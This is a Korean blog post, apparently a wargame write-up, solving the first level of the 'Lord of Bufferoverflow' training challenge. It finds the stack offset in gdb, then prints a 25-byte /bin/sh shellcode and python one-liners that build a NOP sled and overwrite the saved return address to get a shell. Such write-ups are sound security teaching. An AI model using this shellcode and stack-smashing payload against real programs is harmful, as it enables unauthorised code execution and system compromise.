HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 취약점
  • JNDI
  • log4j
  • 아파치

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

The Lord of Bufferoverflow(LOB) gate -> gremlin
WarGame/The Lord of Bufferoverflow(LOB)

The Lord of Bufferoverflow(LOB) gate -> gremlin

2017. 11. 30. 23:45
728x90

오늘은 해커스쿨의 LOB라고 불리는 The Lord of Bufferoverflow를 풀어보겠다.


LEVEL1

(gate -> gremlin) :  simple bof



소스코드를 확인해보겠다.



소스코드를 보니 간단한 버퍼오버플로우 문제인 것을 알 수있다.

버퍼오버플로우를 모르면 아래의 자료를 보면 도움이 될 것이다.

2017/10/23 - [SYSTEM HACKING/정리자료] - DAY-3 버퍼오버플로우를 풀어보자

일단은 buffer의 오프셋을 구해보겠다.


gdb로 파일을 열고 실행하는 순간 오류가 뜨는 것을 볼 수 있다.



Operation no permitted 작업이 허용되어있지 않다고 한다.

파일에 권한이 없는 것 같다.

이럴 때는 원본파일을 복사하면 소유권이 자신의 것이 되니 복사해서 gdb로 열어보자.



nremlin을 gdb로 열어서 r을 해주면 이번에는 오류가 뜨지 않을 것이다,

오류를 고쳤으니 buffer의 오프셋을 구해보자.


브레이크 포인트를 main+59에 걸고 buffer의 주소인 0xffffff00(%ebp)를 확인해 보자



확인해보면 얼마만큼의 값이들어가야하는지 알 것이다.

잘모르겠다면 아래 글을 보자!

2017/10/23 - [SYSTEM HACKING/정리자료] - DAY-3 버퍼오버플로우를 풀어보자


계산해보니 260의 buffer+saved ebp 공간을 채우면 saved eip까지 도달 할 수 있다.

260개의 공간에 nop(\x90)와 쉘코드를 넣고 saved eip를 overwrite해서 그쪽으로 이동되게 해보겠다.


쉘코드는 25바이트 짜리 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80를 사용했다


`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"BBBB"'`


그럼 gdb로 이값들이 어느 주소로 들어가는지 확인해 보겠다.

break를 대충걸고 r을 해보자.



buffer의 주소값을 확인해보면 정말로 \x90인 nop가 들어가있는 것이 보인다.

그럼 saved eip 주소에 nop의 주소중 아무거나 써줘보자.


`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"\x98\xfb\xff\xbf"'`


saved eip에 nop의 주소(\x98\xfb\xff\xbf)를 넣어서 공격을 시도해보자.

(※주의할 점:bash의 문제점이있으니 bash2로 명령어를 실행하자.)



쉘을 따낸 것을 볼 수 있다.




'WarGame > The Lord of Bufferoverflow(LOB)' 카테고리의 다른 글

The Lord of Bufferoverflow(LOB) wolfman -> darkelf  (0) 2017.12.08
The Lord of Bufferoverflow(LOB) orc -> wolfman  (0) 2017.12.03
The Lord of Bufferoverflow(LOB) goblin -> orc  (0) 2017.12.03
The Lord of Bufferoverflow(LOB) cobolt -> goblin  (0) 2017.12.03
The Lord of Bufferoverflow(LOB) gremlin -> cobolt  (0) 2017.12.01
    'WarGame/The Lord of Bufferoverflow(LOB)' 카테고리의 다른 글
    • The Lord of Bufferoverflow(LOB) orc -> wolfman
    • The Lord of Bufferoverflow(LOB) goblin -> orc
    • The Lord of Bufferoverflow(LOB) cobolt -> goblin
    • The Lord of Bufferoverflow(LOB) gremlin -> cobolt
    HO_9
    HO_9

    티스토리툴바